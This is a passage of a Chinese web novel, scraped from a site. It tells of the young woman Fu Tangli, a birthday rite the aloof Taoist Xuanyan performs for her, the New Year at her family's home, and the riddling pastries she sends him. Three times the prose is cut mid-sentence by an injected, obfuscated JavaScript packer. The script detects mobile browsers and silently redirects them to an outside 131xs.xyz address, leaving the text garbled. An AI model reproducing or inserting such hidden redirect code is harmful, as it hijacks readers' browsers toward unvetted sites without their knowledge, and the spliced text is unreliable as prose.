她心头跳了一下,疾步循声而去,越过前庭、穿过月洞门、折过迂回长廊,琴声渐大,及至观院深处。 隔墙就是梅林,有白梅横斜,越墙而来,缀在青瓦灰檐上。 殿阁古朴,廊庑下,木质阶台已经陈旧,玄衍席地抚琴,道袍深碧近墨,风卷着雪和白梅一起飘零,落了下来,他不知在那里已经坐了多久,肩头覆了一层白。 琴声低沉而缓慢,捻抹之间,带着苍茫的韵味,似远山外空旷的回音。 殿阁外,设了一处法坛,高台以筑,九重长明灯盏,十二日月星辰幡,黑檀香案上供奉着紫金烛台、珐琅香炉,青瓷瓶中插了一枝白梅,琉璃莲花钵中盛了水,旁边还摆着一叠经卷。 玄安和玄度恭敬地侍立在一旁,他们的冠帽上已经落满了雪。 或许是因为方才走得太急,傅棠梨此时心跳得很厉害,“噗嗤噗嗤”地要从胸膛里蹦出来,她呆呆地望着玄衍。 玄衍停了琴,微微抬眼。黄昏时,白日将尽,天光朦胧,花影斑驳,落在他的脸上,恍惚间,叫人看不太清楚他的神情。 傅棠梨压了压发鬓,整了整衣裳,平复了呼吸,慢慢地走过去,深深地拜了一拜,轻轻地道:“未曾想道长还记得今日之约,是我来迟,累道长久候,给您赔罪。” 玄衍推开琴,站起身来,他拂去肩上雪,他没有多余的言语,语气依旧如往常,冷冷的:“去,焚道香,点明烛,我为你起斋醮、敬神明。” 傅棠梨低声应了“是”。 少顷,科仪起,燃松脂长明灯、焚真腊笃耨香,道童以山泉洗涤尘埃。年轻的道士在法坛前踏罡步、掐法诀,摇钟磬,吟步虚词,敬颂八方神明。 暮色渐浓,而雪未歇。 玄衍捧着经卷,诵读太上救苦经,他的声音磁性浑厚,低低的,带着一种孤傲的清高,犹如云端的仙人,不过偶尔怜悯苍生。 黛螺和胭脂远远地候在阶下,垂手敛眉。 傅棠梨跪倒在法坛前,叉手按地,俯伏叩首,额触手背,而后,起身拱手,如是,三拜而九叩,礼敬膜拜。 玄衍诵经罢,亲焚青词表章,祭告上苍,曰,有傅氏女子名梨花者,为先人祈福,祈众圣救苦,亡灵受度,早赴仙乡。 左右道士散花,齐齐颂唱。 末了,玄衍又焚了一张小表,曰,今为彼之生辰,上祈天尊,恩命下颁,为其赐福延年。 他持了琉璃莲花钵,走到傅棠梨的身前,以手指蘸水,轻轻地在她的额头上点了三下:“祝汝芳龄永继,勿忧勿愁,喜乐安康。” 他那么冰冷的一个人,手指却是炙热的。 傅棠梨跪在那里,摸了摸自己的额头,似乎上面还留着他的温度,她有些发怔,她很少露出这种神情,好似一时间神思有些恍惚起来,说话也特别慢:“今我生辰,家中至亲无一人为我贺,只有道长而已。” 玄衍收回手,略一颔首,神色淡漠:“仙道贵生,无量度人,汝为善信,当为汝祝。” 傅棠梨勉强笑了一下,那个笑容模糊而低沉,如同此间暮色,要在雪中消散,她轻轻地说道:“勿忧勿愁,喜乐安康,道长您说得真好,不像我的父亲,他只会说我生来克母,是个孽障。”她的语气如同在叹息,“外祖母曾经告诉我,我是母亲留给她的念想,是上天的恩德所赐,到底谁说的才是对的呢?” 玄衍无从回答,他沉默着,天色越发暗沉,黄昏的光阴落入他的眼眸,白色的雪飘下,恍惚间,竟有一种悲悯的错觉。 “小时候,外祖母叫我‘小梨花’,现在呢,父亲叫我‘雀娘’,因为妹妹是‘燕娘’,她是燕子,我就是一只小麻雀吗?”她喃喃自语着,其实也不是说给他听,只是一时觉得委屈起来,无处诉说。 “妹妹问我,为什么要回来?可是,外祖母走了,舅舅恼怒我拿了外祖母分的矿银,舅母总疑心我要引诱大表兄,他们容不下我,我还能去哪呢?” 泪水无声地从傅棠梨的眼角滑落,她的话断断续续的,尾调带着颤抖,那是想哭却拼命忍住的声音,“唯一爱我之人已经不在这世间,天地之大,我却无家可归。” 玄衍生平第一次面对这般场景,大感棘手,他的眉头皱了起来,严厉地看了傅棠梨一眼,试图用目光威慑她。 而她并没有察觉,她还在哭,眼睛红红的,她一直想把眼泪憋回去,一抽一抽的,伤心又狼狈,跪在那里,缩成小小的一团。 玄衍本想掉头走开,但觉得大抵有些不妥,只能俯下身,半跪下来,他的身量极高,即使是这样的姿势,也要低下头,才能看着她。他素来杀伐果断,从来没有过安慰别人的经验,如今面对着这样一个哭泣的女郎,他思索良久,想不出什么应对之策,只能简单地道:“别哭。” 道长生性冷峻,且久居上位,这样两个字从他口中说出来,硬邦邦的,俨然带着发号施令的威严。 傅棠梨的眼泪流得更急了,此时此刻,她没有再顾及所谓端庄仪态,用袖子抹着眼泪,肩膀都在颤抖,哽咽难当:“我每天都小心翼翼,不争不抢,不怒不嗔,努力做个最好的小娘子,可是,为什么他们不能多疼我一点,我还有哪里不好吗?” 漂亮的脸蛋上沾满了泪水,被她抹得一团乱糟糟,连鼻子尖都变得红通通的,可笑极了。 玄衍冷静地道:“涕泗滂沱,唯有这点不好。” 这个人简直胡说八道,她只有眼泪,没有鼻涕! 傅棠梨咬着嘴唇,愤怒地瞪他,可是她流着泪,眼睛湿漉漉的,生气的时候,小巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647418|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘴唇还会地微微撅起,连她自己也不觉得,其实,看过去是一种娇弱又可怜的模样,甚至有一点撒娇的意味。 落日将尽,暮色朦胧,白雪飘零,静寂无声,或许人在其中,也会变得柔和起来。 玄衍的脸上没有什么表情,而他的声音因为过于低沉,却显得温和了起来:“其他都好,嗯,所以,别哭了。” 他的手伸了过来,似乎摸了摸她的头顶,但傅棠梨分辨不出来,那么轻,如同这时候的雪落下、暮色拂过,他袖上梅花的香气带着微苦,浅浅的一点,叫人无法捉摸。 或许,这是他的抚慰? 傅棠梨一时有些茫然了。 —————————— 雪下了一整夜,天明时分终于停住了。 推窗见雪,天方霁,远山空旷,又是一日大好时光。 傅棠梨早起的时候,已经完全恢复了冷静,她拿着镜子照了一番,随意地道:“我瞧着,是不是眼睛还有点肿?” 胭脂捧着胭脂盒子,殷勤地道:“娘子是否需用脂粉压一压?” 傅棠梨摆了摆手:“涂脂抹粉的我不爱,就这么着吧,也不算十分难看。” 黛螺手脚利索地为傅棠梨梳妆:“怎么说‘难看’二字,我们娘子天生丽质,气度高雅,整个长安就没人比得上,我看那些人都是瞎了,才会不喜欢您。” 傅棠梨“扑哧”笑了一下:“好了,不须哄我,昨儿一时忘情,哭了一场,过了就算了,我的性子你们是知道的,那些个蠢人,他们如何,我哪里放在心上,懒得理会罢了。” 黛螺和胭脂见娘子眉目清亮,不见一丝阴霾,这才放心下来,齐齐点头:“娘子说得极是,懒得理会。” 傅棠梨梳妆完毕,用过早膳,略收拾了一下,抱了个陶罐,独自去了梅花林。 玄衍果然在林中抚琴。 昨夜的雪下得大,压得梅花重了几分,层层叠叠,如同水粉晕染得太过,偶尔有风过,那水粉便簌簌地落下,拂过他的琴弦。 两只白鹤在梅花树下踱步,见傅棠梨过来,扑扇着翅膀,飞远了。 傅棠梨走到不远不近的地方,停住了,因手中抱着陶罐,行不得叉手礼,她螓首低垂,微微曲膝躬身,盈盈致礼,声音温雅且柔和:“昨日思及先人,情难自禁,不慎失仪,叫道长见笑,十分惭愧,今日特来给道长赔罪了。” 她姿态娉婷,神情娴静,眼睛明亮而清澈,一言一行优雅得无可挑剔,似乎昨日那般可怜的模样真的只是一时的谬误而已。 玄衍停下琴,拂了拂弦上的落花:“你早先在我面前失仪之时,百般抵赖,十分张狂,如今未见得如何,却来赔罪,叫我诧异。” 傅棠梨神色自若,颔首道:“不错,大抵是听得道长念经,感受天地造化之功,骤然悔悟了,可见道长修为深厚,大有功德。” “又在说什么胡话。”玄衍看了她一眼,他的语气如同往常,总是那么清冷,但他的目光却是温和的。 傅棠梨微微一笑:“如前所言,我要撷取梅雪为酿,只怕要打扰道长清修了。” 玄衍淡淡地看了她一眼,复又低头抚琴,不再言语。 傅棠梨抱着陶罐,漫步梅树间,仔细收集那花萼上的积雪,今日连羊毫笔都不曾带,手指不沾雪,只捏着花柄,轻轻将雪抖落在罐中,一次只得一点点,不紧不慢,让那雪抱在怀中,渐渐开始融化。 琴声绵长,似万壑松风,云辞青山,和着梅花、和着雪,一起沉积在山林间,悠然有怀古之意。 远处偶有白鹤清鸣,似在应和。 隔着花枝,傅棠梨抬眼望去,见玄衍静坐树下,一袭长袍,广袖低垂,俨然优雅如仙人。她心里忽然生出一个念头,笑了一下,唤了一声:“道长。” 玄衍停了琴,抬眼望来。 16.第 16 章 傅棠梨眉眼弯弯,带着一点促狭的意味,但她的语气恭顺而诚恳,指了指枝头:“那树枝太高,我够不着,可否请道长施以援手?” 玄衍并不应声,他长身立起,走了过来,略一探手,将那高处的花枝抓住,压到傅棠梨的眼前。 枝头的雪簌簌落下,落在她的眼角眉梢,肌肤似雪、雪似肌肤,她笑起来的时候,尤显得清澈纯净, “又要作甚?”玄衍的声音有些低沉,好似比方才更严肃了。 傅棠梨笑吟吟的,伸手折下一枝白梅,递到玄衍的面前:“道长贺我生辰,我无以为报,赠您一捧人间雪,聊表谢意。” 玄衍面上没有什么波动,依旧平淡,他接过那枝白梅,顺手在傅棠梨的头上敲了敲,矜持地道:“莫学俗人,附庸风雅。” 梅花枝子蹭过,乱了傅棠梨的发鬓,沾了两三点花瓣。 她后退了两步,慢条斯理地掠了掠发鬓,眼波流转,似嗔非嗔:“风雅岂容附庸,我借自然之物,敬修道之人,应是顺理成章之事,只怪道长不解此中趣味,罢了,我与道长心意不通,说不到一块,那便不说了。” 她也干脆,既不说,掉头就走了,背影望去,腰肢挺直,步履从容,透着一股说不出的骄矜劲头。 直到她走远了,玄衍才低头看了看手中的白梅,轻轻笑了一下。 空山寂寥,他独自在林中伫立了片刻,直到微微起了风,才抱着那枝白梅,回到云麓观。 小道士还在阶下扫雪,门槛边露出了枯萎的青苔,两三只山雀蹦跳着,在那里用小爪子刨食吃,一派清幽。 青虚子从回廊外走过,迎面遇着玄衍,多看了几眼,顺口道:“难得你有此雅兴,折花而归,这枝梅花开得正好,三清殿上供的寒菊已经谢了,把这个换上吧。” 玄衍停下脚步,不说话,冷冷地看着青虚子。 青虚子是知道这个徒弟的身份,但却很少见他如此威严,肃杀之气扑面而来,几乎要把青虚子斩杀当场,青虚子吓得一个踉跄,扶住了身边的柱子,战战兢兢地道:“你若觉得不妥,也就算了,何必生气?” “我生气了吗?”玄衍居然还笑了一下。 更叫人惊恐了。 青虚子抖了一下,忍气吞声:“好了,我是你师父,你别和我计较,去吧、去吧,我什么都没说。” 玄衍点了点头,平静地道:“师父若要供神,自己折花去,方显心意虔诚,莫来找我要。” “是、是,你说得都对。”青虚子喏喏应是,赶紧走开了。 玄衍这才满意,慢慢地走回自己房中,唤了玄安,取了一个黑釉的柳叶素瓶来,将那枝白梅插上,摆在床头案边。 至夜间,隐有暗香来。 —————————— 转眼到了岁除。 山中尤寒,接连下了几场雪,瓦片上挂了霜,檐角下垂了冰尺,云麓观中道人觉得景致自然,并不去管它,观院中的殿堂楼阁如同水墨褪了色,愈发古朴陈旧。 难得一年岁暮之时,过了午后,做完了功课,青虚子悠闲自得,叫了几个徒弟一起在后殿喝茶,顺便唏嘘几句。 “想当年,我在元真宫何等风光,每每到这个时节,过来布施的善信们能把大门挤破,还要一众弟子在门前疏导,不似如今我们这小破道观,人影都不见一个,我这一年下来,香火银子通共不到二十两,其中还有大半是玄衍抄经得来的,可怜啊、真真可怜啊。” 师父胆子真大,玄安和玄度一起擦了擦汗。 玄衍端坐上首,不动声色地喝了一口茶,放下茶盏,冷静地提醒青虚子:“师父,大过年的,为保平安,你最好别在我面前提及你的香火钱是怎么来的。” 今天是个好日子,青虚子打量着玄衍不会生气,浑不畏惧,继续笑眯眯地道:“话说,那位姓傅的女善信真是崇道之人,隔三岔五就过来拜神,不但供奉香火,有时还会和老道论及道经释义,颇有见地,老道我对她十分喜爱,明儿元日,不如送她一张平安符,祈福驱邪,也算我们云麓观对善信的答谢之意。” 玄衍目光微微一动。 就在这时,门外道童来禀:“师兄,太子殿下驾临,来接师兄回宫守岁,此刻在山门外候着,请师兄示下。” 大殿里骤然安静了下来。 玄安和玄度对视了一眼,又一起去看玄衍的脸色。 青虚子咳了一下,委婉地劝说玄衍:“你去年这时候在漠北、前年这时候在冀州,唯有今年,好不容易在长安,今儿正是团圆日,难怪家人想念,不如归去一聚,成全骨肉亲情。” “我已出家,何来家人?”玄衍的脸色沉静如水,不见喜也不见怒,漠然地道,“把这话转告太子,叫他回吧。” 道童踌躇不敢去。 玄衍挑了挑眉毛:“怎么,我的话你没听清楚吗?” 小道童差点吓哭了。 青虚子无奈,只好起身,带着道童一起出门去应付了,殿中诸人一时都不敢言语。玄衍坐在那里,安静地喝茶,面上不见丝毫波澜。 青虚子过了半天才回来,进了门,看了玄衍一眼:“太子殿下实乃谦谦君子,温润如玉,如此吃了闭门羹,也并不怪罪,反而对你多有关切,叫我代转问候之意,这才走了。” 他叹了一口气,又道:“玄衍,不是师父说你,你的性子也太怪,这般孤僻傲慢又有什么好处,白在外头担了个恶名罢了,依我看,做人啊,还是要周全圆滑为好。” 玄衍难得露出了一个笑容,慢慢地道:“师父,你在说什么?我若周全圆滑,这天下就该不太平了,如今这样,叫做清静无为,才能皆大欢喜。” 他的笑容似乎是温和的,但他的目光中却带着一种难以言说的意味,冰冷,深沉,以及一种不可捉摸的煞气,宛如锐利的锋刃。 青虚子情不自禁打了个寒战,回过神来,勉强笑了笑,坐回位置去,把自己装成了一只鹌鹑,不再吭声。 众弟子埋头喝茶。 殿中香炉里燃着百和香,取其清气破秽而除旧,此时烟絮散开,因殿中人不语不动,渐至浓郁,在莲花幡间逶迤如轻纱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666564|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玄衍的目光从烟絮间漫不经心地掠过,忽然又开口问了一句:“对了,师父,你方才说什么来着?” 青虚子吞吞吐吐:“哦,我说你性子太怪,我说错了……” “不对,上一句。” 青虚子犹豫了一下:“呃,太子殿下乃谦谦君子……” “再上一句。”玄衍的脸色开始沉了下来。 青虚子苦苦思索了片刻,猛然福至心灵,忙道:“哦,说到要给女善信送平安符。” 玄衍神情稍缓,语气却是倨傲:“女善信如此虔诚,又供奉诸多香火,单单一张平安符,未免要叫人嘲笑我们云麓观过于寒酸,我颇觉面上无光。” 青虚子揣摩着玄衍的脸色,犹豫地道,“那再送她几卷道经?” “她要道经作甚?”玄衍的目光明显不耐。 青虚子又要流汗了:“那、那、那要如何才好?” 玄衍看着青虚子,面无表情:“她一个弱质女郎,为先人祈福,独居山间,如此情形,师父既为修道之人,当心怀苍生,怎么还来问我?” “嗯?”青虚子有些呆滞,他听不太懂玄衍的话,他重复了一遍,费劲地琢磨着字里行间的意思,“一个弱质女郎,为先人祈福,独居山间……” “不错,独居山间,无亲无靠。”玄衍稍微提示了一下。 “呃,无亲无靠?”青虚子急得直揪胡子,“然后呢?” 还是玄安厉害,在玄衍身边伺候久了,多少能够琢磨出几分,他试探地接口道:“女善信既如此可怜,我们修道之人,当持悲悯之心,这么着,大年夜的,请她过来,到观里烧一柱香、吃一顿斋饭,叫她沾沾三清祖师的福气,这岂不是比平安符要强些?” 玄衍矜持地抬起下颌,漠然道:“我不过顺带一提罢了,此事,师父自去斟酌,无我无关。” 这世间怎么会有如此矫情的人? 青虚子恨不得把玄衍暴打一顿,但他毕竟不敢,只得再次起身,认命地道:“是,玄安说得极是,师父我这就去请女善信过来,这方圆十里,通共就这一户人家,相邻即是有缘,不如凑在一处热闹些。” 老道士又带着道童出门去了。 玄安十分机灵,领着左右几个师弟去取水备茶,水要山顶松针上的雪化开的水,茶要今年宜兴内贡的阳羡茶,为表隆重,又找了一套梅子色的影青茶盏出来。 玄度跟在后头,扯了扯玄安的袖子,压低声音,道:“师兄好清静,你却提议叫外人过来,喧哗吵闹,小心惹得师兄不快。” “你懂什么?”玄安偷偷指了指玄衍,小声道:“你看看,师兄如今不过才二十三岁,却似垂暮之年,自困于这方寸之地,连话也不说两句,有什么意思?自那女善信来了后,师兄生气的次数格外多了一些,说的话也格外多了一些,难道不好吗?” 玄度瞧不出有什么好,大过年的,他也不想和玄安争辩,摇了摇头,“啧啧”了两声。 玄衍静坐喝茶。 两柱香后,青虚子回来了,身后跟着却还是只有那个小道童。 17.第 17 章 他进门,脱了蓑衣,抖了抖身上的雪珠子,抱怨道:“玄安就是多嘴,人家可怜什么,她早就下山回家过年去了,那宅子里只留了两个看守的下人,外头怪冷的,累我白跑一趟。” 他故意瞟了玄衍一眼:“想想也是,女善信那等气度样貌,一看就知道出身高贵,世家大族最是讲究礼仪道德,断不会让自家女郎独自在外守岁过年,你们呢,都是瞎操心。” 玄安拼命朝青虚子使眼色。 玄衍却没有说话,他神情冷漠,站起身,负手走到门外,抬眼望去。 空庭覆雪,枯枝嶙峋,四下皆白,暮岁须臾,浮云将沉去,天与地皆茫茫。 他想起了那日她跪在雪地里,曾对他说的一句话,天地之大,却无家可归。 说得极是。 —————————— 花厅的四个角落放着炭盆,里面烧着银丝白霜炭,偶尔发出一点“噼啪”的声响,厅中暖意融融,门窗上的暗金织锦帘子垂落,紫檀屏风后的博山炉里点着雪中春信,恍惚间,寒岁辞去,春意将至。 傅家上下十几口人一起聚在这里,热热闹闹的。 就在方才,宫里送来了沈皇后赐给傅棠梨的节礼,一斛拇指大小的滚圆东珠、一柄松鹤脂金如意、一架珐琅镶碧玺的座屏,外加两匹松江府上贡的浮光云罗缎,此刻,东西还摆在桌案上,琳琅璀璨。 傅家上下众人围着傅棠梨,纷纷恭维,一时笑语晏然。 傅棠梨镇定自若,一一谢过,言行温恭得体,看得傅方旭频频点头。 傅方旭共有三子一女,女儿嫁入河东望族,三子皆入朝为官,如今算得上荣华盈门,儿孙绕膝,傅方旭颇为欣慰。 长房长孙傅殊白凑趣,拿出自己写的春联,笑着问道:“祖父来看看,孙儿这幅字写的如何?” 傅方旭沉吟片刻,朝傅棠梨招了招手:“雀娘,来。” “祖父有何吩咐?”傅棠梨听话地上前。 傅方旭将那幅春联交到傅棠梨手上,笑吟吟地道:“你大哥的字是极好的,给你,贴到你院子的门上,我看不错。” 傅棠梨接过,客气朝傅殊白致意:“那就多谢大哥了。” 傅方旭拍了拍傅棠梨的肩膀,语重心长地道:“你大哥和你一样,聪明又懂事,我们傅家呢,最有出息的孩子就是你们两个了,雀娘,来日嫁入东宫,莫忘在太子殿下面前多多提及你们手足情深,你大哥现如今在户部做事,可惜只是个小小的主事,来日他的官位若有所升迁,于你也大有益处,你明白这个道理吗?” 傅芍药坐在边上,不屑地撇了撇嘴,大过年的,她终于被解除了禁足,此时心中不服,也不敢多说什么。 傅殊白自己有些脸红:“祖父说这个作甚,我们一家兄妹,自是相互倚望,何须交代。” 傅棠梨微微躬身:“是,祖父今日所言,我懂,也记下了,祖父放心。” 傅方旭捋须而笑。 二房的夫人张氏看得眼热,厚着脸皮挨过去,拉住傅棠梨的手,亲昵地道:“雀娘早前一直在渭州住着,才回来没两年,转眼又要出嫁了,真叫人舍不得,等你和太子殿下成亲后,二伯母能不能时常去东宫探望你呢?” 这个伯母,真不太熟,平日傅棠梨在家时,也不见得她常常过来,不知道如今为什么突然舍不得起来。 傅棠梨不动声色地把手抽回来,还未答话,那边继母杨氏已经开口了。 “二嫂说笑了,东宫是什么地方,哪里能想去就去,就是我们至亲父母,也要待太子妃传唤,才能觐见。”杨氏面带矜持之色,“你若实在想念雀娘,到时候,我也把你带上一两回,让你见见世面。” 她说着,好歹还知道要讨好傅棠梨,端起一碟点心,递给傅棠梨:“雀娘,来,尝尝这个,新鲜出锅的杏花糖酪金铃炙,还热乎着,我特意吩咐厨房给你做的。” 她笑意盈盈,如同往常一般,慈祥又和蔼,仿佛已经忘记了在韩氏忌日时发生的情形。 傅棠梨笑了笑,接过点心,顺手搁到了案上:“多谢母亲。” 外头传来了爆竹声,间或杂着小童的拍手欢笑,把这过年的氛围给烘托起来,傅家的几个男人笑呵呵的,也走出门去,唤奴仆拿了爆竹过来,在廊庑下点燃,顿时“噼里啪啦”一阵巨响。 三房的小娘子傅玉兰惊叫着,扑倒母亲怀中,张氏笑着一把搂住了她,帮她捂着耳朵。 傅芍药见状,朝杨氏撅了撅嘴。 杨氏会意,马上过去抱着她,笑骂道:“四娘多大,你多大,可好意思?” 傅芍药牛皮糖似的,黏在杨氏身上撒娇:“莫非我大了,就不是母亲的女儿了,母亲就不疼我了,那不能吧。” 这边杨氏母女两个亲亲热热的挨在一起说话,那边大夫人严氏有些看不下去,“哟”了一下,故意抬高声音,装作玩笑的模样,道:“可惜我家大娘子已经嫁出去了,今儿不在家,雀娘,只有我们两个是没人搭理的,来,要不要大伯母抱抱你?” 此言一出,杨氏当即变了脸色,松开了傅芍药,又来拉傅棠梨,讪讪地笑道:“雀娘胆子却大,一点儿不怕。” 傅棠梨站了起来,避过杨氏的手,她神色恬静,温柔又体贴,仿佛一点儿都没在意:“我记起有件事儿,要出去交代一番,稍后再来陪大家说话。” 她说罢,没有多看杨氏一眼,施施然告退。 黛螺在门外候着,见傅棠梨出来,赶紧迎上去,还想伸手给傅棠梨捂耳朵:“娘子,外头放爆竹呢,快躲躲。” 傅棠梨一偏头,摆了摆手,示意不用。 黛螺只好退后。 少顷,爆竹声停,傅之贺看见女儿出来,笑着招手:“雀娘,要不要过来,和你哥哥几个一起放爆竹?” 傅棠梨笑着摇了摇头,带着婢女走开了。 黛螺不满地嘀咕:“三老爷不知道二娘子最怕爆竹声响吗?还叫二娘子放爆竹,笑话,我们二娘子又不是粗野男儿,怎么玩这个?” “我不怕的。”傅棠梨淡淡地道,“原先我听到人家放爆竹,就躲到外祖母的怀里去,那样我高兴,她老人家也高兴,如今外祖母不在了,我再撒娇给谁看呢?” 黛螺只好不说话了。 天有些冷,傅棠梨裹紧了身上的大氅,抬头看了一眼天色,轻松地道:“你生什么闷气?我自过我的日子,何必去理会那些不相干的人。对了,我要的东西呢,弄好了吗?” 黛螺忙答道:“都好了,胭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673547|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脂去厨房拿了,送到二娘子的房中去,就等您过去呢。” 不多时,回到房中,果然,胭脂已经带着厨房的仆妇把一碟碟点心摆在那里了,有方糕、圆饼、包子、花卷等等,皆做得精致细巧。 胭脂见了傅棠梨,一脸得色,上前表功:“娘子,这边都备好了,这些点心的口味也是依着您先前吩咐做的,甜的咸的都有,各色花式不重样。” 傅棠梨拿起一个小包子捏了捏、看了看,柔软的谷物香气,骤然叫人觉得温暖起来。 窗外有零星的雪落下,窗沿抹了一层斑驳的白色,天光温存,小熏炉里点着白檀,味道干净而纯粹,远处隐约传来爆竹的声音,今辞旧岁去,无论如何,至少要有些欢喜。 她思忖了片刻,坐到案前,提起笔,微微地笑了起来:“这样吧,待我再写几个字附上。” —————————— 空山寂寥,外头微微地开始下起了雪,风不太大,也只那么一点点,摇落一地黄昏的暮色。 道士们忙着贴春联、画符箓、走来走去地给各个大殿的神仙都供上了香火,还有的道士嘴馋,自己去斋堂抓了两张春饼咬着,师兄弟们见了,也只是笑眯眯的。 道观里仿佛平添了几分人间烟火气息。 青虚子年纪大了,抱了个暖手炉,舒舒服服地窝在太师椅上,支使着徒弟们做这做那。 “茶水有些凉了,你们师兄喝得不舒服,去,新沏一壶……熏香的味道有些淡了,再添一把……玄度,爆竹备好了吗,过会儿要放的……” 就在一团热闹的时候,看门的小道童又进来了。 “玄衍师兄,太后娘娘身边闵尚宫过来给师兄请安,说是奉了太后的口谕,师兄既在云麓观中守岁,也不可鄙陋了,太后特意赏赐了一桌素席并两坛素酒,请师兄与观中众人同乐,眼下许多宫人捧着东西候在山门外,再请师兄示下。” 道士们说笑的声音骤然小了下来。 倒是青虚子依旧悠哉自若,打了个哈哈,道:“长者赐,不可辞,毋须多问,接下来便是。” 玄衍垂下眼帘,掩住眼睛里的神色,把玩着手中的茶盏,淡淡地吩咐道:“师父这么说,便这么办吧,东西拿进来,至于那些人,我不想见。” 小道童喏喏应是,拉着七八个道士一起出去,来回搬运了十几趟,将食盒和酒坛提了进来,忙乎了半天,逐一摆放妥当。 只见案上酥琼叶、玉井饭、芙蓉面、菊苗煎、汤绽梅等等等等,以雕花银盘盛之,色香皆妙,无一不精致,零零总总不下数十样,将几张桌案挤得满满当当。 玄衍只是漫不经心地瞟了一眼,转头吩咐玄安道:“我不吃这些俗人之食,叫斋堂另给我做一碗素面。” 玄安恭敬地应是,下去煮了一碗清水素面,捧了上来。 众道人于是拜了三清祖师,坐定,开宴。 玄衍才动箸,小道童又进来了,拿了两个食盒随意放到一边:“这两个,多余了,也摆不下,先搁这吧。” 青虚子顺口问了一句:“那个,又是哪来的?” “是善信的供奉,他们自称主家姓傅,值此年节,送些供神的点心过来。” 玄衍的手顿了一下:“人呢?” 18.第 18 章 “打发走了。”小道童自然地回道:“师兄不见外人,我也没敢叫他们进来。” “啪”的一声,玄衍重重地放下竹箸,语气冰冷:“谁容你自作主张?” 肃杀之势扑面而来。 小道童不知道自己说错了什么,吓得腿脚发抖:“我、我……” 玄安立即起身:“应该还没走远,我去追回来。” 青虚子赶紧把没有眼力见的小道童拉下去了。 一盏茶后,两个仆役模样的人跟着玄安一起进来,给道人们唱了喏,其中一人上前一步,拱手道:“我家二娘子这段日子在云麓观烧香祈福,礼敬神明,特命小的们今日过来,奉上两盒点心。” 他指了指一盒提手上缠了白线的:“这一盒,用以供奉道观中天尊诸神。”又指了指另外一盒缠了红线的,“这一盒,娘子交代,请交予一位法号为玄衍的道长,玄衍道长替娘子抄写经卷,娘子额外感激。” 青虚子用拳头抵住嘴,拼命咳嗽。 玄衍神色冷淡,略一颔首,抬了抬手。 玄安会意,道了“有劳”,客气地将那两个傅家的仆役送出去了。 殿中人多,嗡嗡喳喳,各种呱噪,尤其青虚子,目光鬼祟,时不时看过来两下。 玄衍的素面也不吃了,用茶水漱了口,拿出帕子按了按嘴角,起身提了那缠着红线的食盒,径直离去。 回到房中,顿觉四下清静。 案头的黑釉瓶中有一截枯枝,那是当日折下的白梅,花瓣早已经凋零殆尽,只余下干瘦嶙峋的枝,因它野趣盎然,玄衍并未丢弃,依旧插在那里。 他打开食盒,里面摆着几块糕点小食,看过去不过寻常,自然与宫中送来的无法比拟,他随手拿起一个圆圆的小包子,却露出下面一张折起来的花笺。 玄度进来,为玄衍奉上新沏的阳羡茶。 玄衍打开那张小小的花笺,上面写了一行字,“煮月档中滚雪花”,字迹端方,不似一般女郎的娟秀,倒显出几分山水跌宕的明朗来。 玄衍随口问了玄度:“煮月档中滚雪花,可知何意?” “啊?”玄度提着茶壶,一脸茫然。 “蠢。”玄衍淡淡地道,“是豆腐。” 他咬了一口,果然是个豆腐包子,这会儿已经凉了,微微有些豆腥味,他也不太在意,就着热茶,慢慢地吃了下去。 又拿了一块方糕,下面还是压了一张花笺,写的是“花团夜雪明,叶翦春云绿”。 这回不待玄衍发问,玄度已经先摇头了:“我不懂,师兄不要问我。” “是桂花啊。”玄衍低低地笑了一下,自语道。 果然,是块桂花千层糕,面皮烘干了,一层一层地叠起来,中间满满地裹着桂花酱,虽然,面皮已经不酥了,桂花酱也太甜了点,但玄衍还是吃完了,连眉头都没有皱一下,或许是因为除夕佳节,心情总比素日要好一些。 玄度轻手轻脚地出去了,掩上了门。 细薄的帘子垂落下来,月光清浅,穿帘而入,如同一捧云雾或者一汪流水,白梅枯枝的影子印在帘纱上,像是水墨的笔触,很快融化在月光里。 此夜应是团圆时,玄衍一人独居幽室,心无波澜,喝着茶,吃着点心。 “紫檀皮软御春寒”,红枣捣成泥,和着糯米煎成小饼,吃起来黏乎乎、软绵绵的。 又有“瞻彼淇奥,绿竹猗猗”,这很明显了,是煨熟的冬笋,用竹叶裹着,还撒了点青盐,却太淡了。 每一样滋味都不甚好,定是那女郎敷衍应付,玄衍这么想着,嘴角却翘了起来。 岁暮天寒,心口微微发烫。 —————————— 